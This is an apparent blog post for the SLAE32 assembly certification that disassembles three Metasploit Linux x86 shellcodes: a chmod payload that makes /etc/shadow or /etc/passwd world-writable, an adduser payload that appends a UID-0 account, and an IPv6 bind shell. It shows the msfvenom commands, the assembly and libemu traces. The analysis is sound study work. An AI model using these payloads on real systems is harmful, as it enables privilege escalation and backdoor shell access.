"/assets/images/default-thumb.png"}">
Thumbnail: logo

SLAE32 - Assignment 5 - MSF Payload Analysis

by on



As a fifth SLAE task, we should take a peek into three different Metasploit payloads of our own choice. MSFvenom is our companion tool , which is part of the metasploit bundle and responsible for generating multi platform shellcodes - more info here.

Here is my selection:

  • linux/x86/chmod
  • linux/x86/adduser
  • linux/x86/shell/bind_ipv6_tcp

1. linux/x86/chmod

So, let’s start with analyzing the ‘chmod’ shellcode.

  <b># msfvenom -p linux/x86/chmod --payload-options</b>
  Options for payload/linux/x86/chmod:

         Name: Linux Chmod
       Module: payload/linux/x86/chmod
     Platform: Linux
         Arch: x86
  Needs Admin: No
   Total size: 36
         Rank: Normal

  Provided by:
      kris katterjohn <katterjohn@gmail.com>

  Basic options:
  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------
  FILE  /etc/shadow      yes       Filename to chmod
  MODE  0666             yes       File mode (octal)

  Description:
    Runs chmod on specified file with specified mode

The shellcode takes two mandatory options: the target file option and the permission that are going to be applied to that file. The default target file is /etc/shadow with 666 permission, which grants read+write access to everyone, without any execution liability.

  permission to:  owner      group      other     
                  /¯¯¯\      /¯¯¯\      /¯¯¯\
  octal:            6          6          6
  binary:         1 1 0      1 1 0      1 1 0
  what to permit: r w x      r w x      r w x
  </code>
  </pre>

We are now going to use it by providing a different filename, but keeping the same permissions set.

<b># msfvenom -p linux/x86/chmod FILE=/etc/passwd MODE=0666 -f raw | ndisasm -u -</b>
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes

  00000000  99                cdq              
  00000001  6A0F              push byte +0xf   
  00000003  58                pop eax
  00000004  52                push edx
  00000005  E80C000000        call 0x16
  0000000A  2F                das
  0000000B  657463            gs jz 0x71
  0000000E  2F                das
  0000000F  7061              jo 0x72
  00000011  7373              jnc 0x86
  00000013  7764              ja 0x79
  00000015  005B68            add [ebx+0x68],bl
  00000018  B601              mov dh,0x1
  0000001A  0000              add [eax],al
  0000001C  59                pop ecx
  0000001D  CD80              int 0x80
  0000001F  6A01              push byte +0x1
  00000021  58                pop eax
  00000022  CD80              int 0x80

Our analysis one system call block at a time, so let’s begin with:

00000000  99           cdq            ; converts doubleword to quadword,
                                      ; Used to zero out EDX with one byte only
00000001  6A0F         push byte +0xf ; push syscall 15 (sys_chmod) to the stack
00000003  58           pop eax        ; load the syscall into eax
00000004  52           push edx       ; push empty edx onto the stack as nullbyte string terminator.
00000005  E80C000000   call 0x16      ; call the code at offset 0x16

So ‘chmod’ syscall has been placed in eax which takes two more arguments. the file pathname and the mode, both saved respectively in EBX and ECX registers.

<b># man 2 chmod</b>   
...
int chmod(const char *pathname, mode_t mode);
...

Then the code demands to jump at offset 0x16, which leads us to think that everything between 0x06 and 0x16 is part of a string.

Python interpreter is a handy tool to verify that, and convert the hex opcodes to a string

>>> "2F6574632F70617373776400".decode("hex")

'/etc/passwd\x00'

Great, that’s exactly the path filename we provided earlier to msfvenom. Then we should pickup the code starting from 0x16, and not 0x15, so we shift the remaining code by one byte, after the nullbyte. Which results in:

00000016:  5b               pop    ebx   ; load the filepath into ebx
00000017:  68 b6 01 00 00   push   0x1b6 ; push octal 666 onto the stack
0000001C:  59               pop    ecx   ; load it into ecx
0000001D:  cd 80            int    0x80  ; run it

Which completes our syscall puzzle, by popping our string into EBX, pushing 0x1b6 (666 in octal), loading this value into ECX and finally run the system call.

The last three lines are simply loading the ‘exit’ syscall 0x1 into EAX and gracefully shutdown the whole circus.

0000001F  6A01          push byte +0x1
00000021  58            pop eax
00000022  CD80          int 0x80

2. linux/x86/shell/adduser

I had planned to dissect this second example with Libemu and dot, in order to get some flow visualization. Unfortunately Libemu does not help us so much since it produces an almost empty output. We then go back debugging the old way (I will use Libemu in the next and latest example).
This shellcode is responsible for adding a custom zeroed-id (root) privileged user to the /etc/passwd list.
By default the two mandatory parameters, USER and PASS are both set to ‘metasploit’

<b># msfvenom -p linux/x86/adduser --payload-options</b>
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

So let’s ndisasm it by providing different parameters:

msfvenom -p linux/x86/adduser USER=matteo PASS=groovy -f raw | ndisasm -u -

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E824000000        call 0x4f
0000002B  6D                insd
0000002C  61                popa
0000002D  7474              jz 0xa3
0000002F  656F              gs outsd
00000031  3A417A            cmp al,[ecx+0x7a]
00000034  41                inc ecx
00000035  37                aaa
00000036  44                inc esp
00000037  6F                outsd
00000038  3830              cmp [eax],dh
0000003A  326836            xor ch,[eax+0x36]
0000003D  56                push esi
0000003E  633A              arpl [edx],di
00000040  303A              xor [edx],bh
00000042  303A              xor [edx],bh
00000044  3A2F              cmp ch,[edi]
00000046  3A2F              cmp ch,[edi]
00000048  62696E            bound ebp,[ecx+0x6e]
0000004B  2F                das
0000004C  7368              jnc 0xb6
0000004E  0A598B            or bl,[ecx-0x75]
00000051  51                push ecx
00000052  FC                cld
00000053  6A04              push byte +0x4
00000055  58                pop eax
00000056  CD80              int 0x80
00000058  6A01              push byte +0x1
0000005A  58                pop eax
0000005B  CD80              int 0x80


The first system call is 0x46 (70 in decimal), which is ‘sys_setreuid’ and responsible for gaining root privilege by setting ruid and euid to 0.

xor ecx,ecx              ; ecx = 0 (euid - effective uid)
mov ebx,ecx              ; ebx = 0 (ruid - real user uid)
push byte +0x46      	 ; x46 = 70 sys_setreuid sys call
pop eax		         ; load syscall into eax
int 0x80	         ; run it


Now the shellcode is about to invoke the sys_open system call which takes the target file as parameter for EBX (in this case /etc/passwd) and place a mask of 00000100 00000001 into ECX as flags values.
The leftmost bit is set to 1 as per WRITE ONLY flag, and the ‘4’ value in the CH register represents the O_NOCTTY, which is set to improve portability. (more infos here).

push byte +0x5           ; push sys_open (0x5) to the stack
pop eax 	         ; load it into eax
xor ecx,ecx              ; clear ecx
push ecx     		 ; push null dword on the stack
push dword 0x64777373    ; push /etc//passwd in reverse order
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp              ; move stack pointer to ebx
inc ecx                  ; assign 1 to ecx
mov ch,0x4  		 ; move 4 to ch so now cx has 4 in ch and 1 in cl
int 0x80		 ; run it and open /etc/passwd to append the new user

The next few lines are telling us that we have to skip some code and jump to 0x4F offset

00000025  93          xchg eax,ebx  ; eax = 0 after syscall, which it is trasnferred to ebx as stdio FD
00000026  E824000000  call 0x4f     ; jumps to 0x4f offset

This makes us thinking that a string could lie in between, so let’s grab everything between offset 0x27 and 0x4e, and convert it to ASCII.
The resulting hex string is ‘6D617474656F3A417A4137446F383032683656633A303A303A3A2F3A2F626 96E2F73680A’, which can be easily converted to a readable format with the aid of python interpreter.

>>> a = "6D617474656F3A417A4137446F383032683656633A303A303A3A2F3A2F62696E2F73680A".decode("hex")
>>> print a
matteo:AzA7Do802h6Vc:0:0::/:/bin/sh

And it turned out to be our custom username, plus a DES hashed password. (as a proof of concept, John The Ripper can be used to crack the aforementioned line)

Now, let’s trim everything in between and disassemble again. Ndisasm has a nice ‘-k’ option to skip a predefined offset, by providing the starting point and the length, both in base 10. We want to avoid everything from 0x2B (43 in dec) to 0x4E (79 in dec), so: 0x4F-0x2B = 0x23 (36)

#msfvenom -p linux/x86/adduser USER=matteo PASS=groovy -f raw | ndisasm -u -k 43,36 -

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E824000000        call 0x4f
0000002B  skipping 0x24 bytes
0000004F  59                pop ecx
00000050  8B51FC            mov edx,[ecx-0x4]
00000053  6A04              push byte +0x4
00000055  58                pop eax
00000056  CD80              int 0x80
00000058  6A01              push byte +0x1
0000005A  58                pop eax
0000005B  CD80              int 0x80

Looks better, isn’it? And we can now jump back to what we have left:

xchg eax,ebx      ; stores FD 0 (standard input) to ebx
call 0x4f         ; jump to 0x4f and store the content onto the stack
pop ecx           ; save in ecx the pointer to '/etc/passwd'
mov edx,[ecx-0x4] ; edx stores the string length (0x2B-0x04)
push byte +0x4    ; eax set to write syscall (0x4)
pop eax
int 0x80          ; run it

push byte +0x1    ; and exit gracefully
pop eax
int 0x80

3.linux/x86/shell/bind_ipv6_tcp

As a third and last example, we are finally going to demonstrate how libemu and dot can be a powerful tool when combined.
But first, we take a look at default msfvenom parameters:

# msfvenom -p linux/x86/shell/bind_ipv6_tcp --payload-options

       Name: Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
     Module: payload/linux/x86/shell/bind_ipv6_tcp
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 120
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    kris katterjohn <katterjohn@gmail.com>
    egypt <egypt@metasploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LPORT  4444             yes       The listen port
RHOST                   no        The target address


Description:
  Spawn a command shell (staged). Listen for an IPv6 connection (Linux
  x86)

This shellcode takes only the local port as a mandatory parameter.

msfvenom -p linux/x86/shell_bind_ipv6_tcp --arch x86 --platform linux R | sctest -vvv -Ss 1000000 -G linux_x86_bindshell_ipv6_tcp.dot

int socket (
     int domain = 10;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr * name = {
     };
     int addrlen = 28;
) =  0;
int listen (
     int s = 14;
     int backlog = 4288422;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 =>
         none;
     int addrlen = 0x00000000 =>
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416f8a =>
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416f82 =>
               = 0x00416f8a =>
                   = "/bin//sh";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

And now we can convert the .dot file to a nicely readable graph.

# dot linux_x86_bindshell_ipv6_tcp.dot -Tpng -o linux_x86_binshell_ipv6_tcp.png

We can dissect the shellcode the following way:

  • Create a socket with ‘socket’ syscall(0x66).
  • Bind the socket to localhost (IPv6 AF is 0x10).
  • Accept connections via the ‘listen’ syscall.
  • Wait for a connection and accept it, create a new file descriptor from it, and invoking ‘accept’ syscall.
  • Redirect stdin, stdout, stderr to the socket via dup2 syscall.
  • Spawn a bindshell via execve.


My assignment code can be found: here



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837

exploit, SLAE, shellcode, security, x86IA, disassemble, msfvenom


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.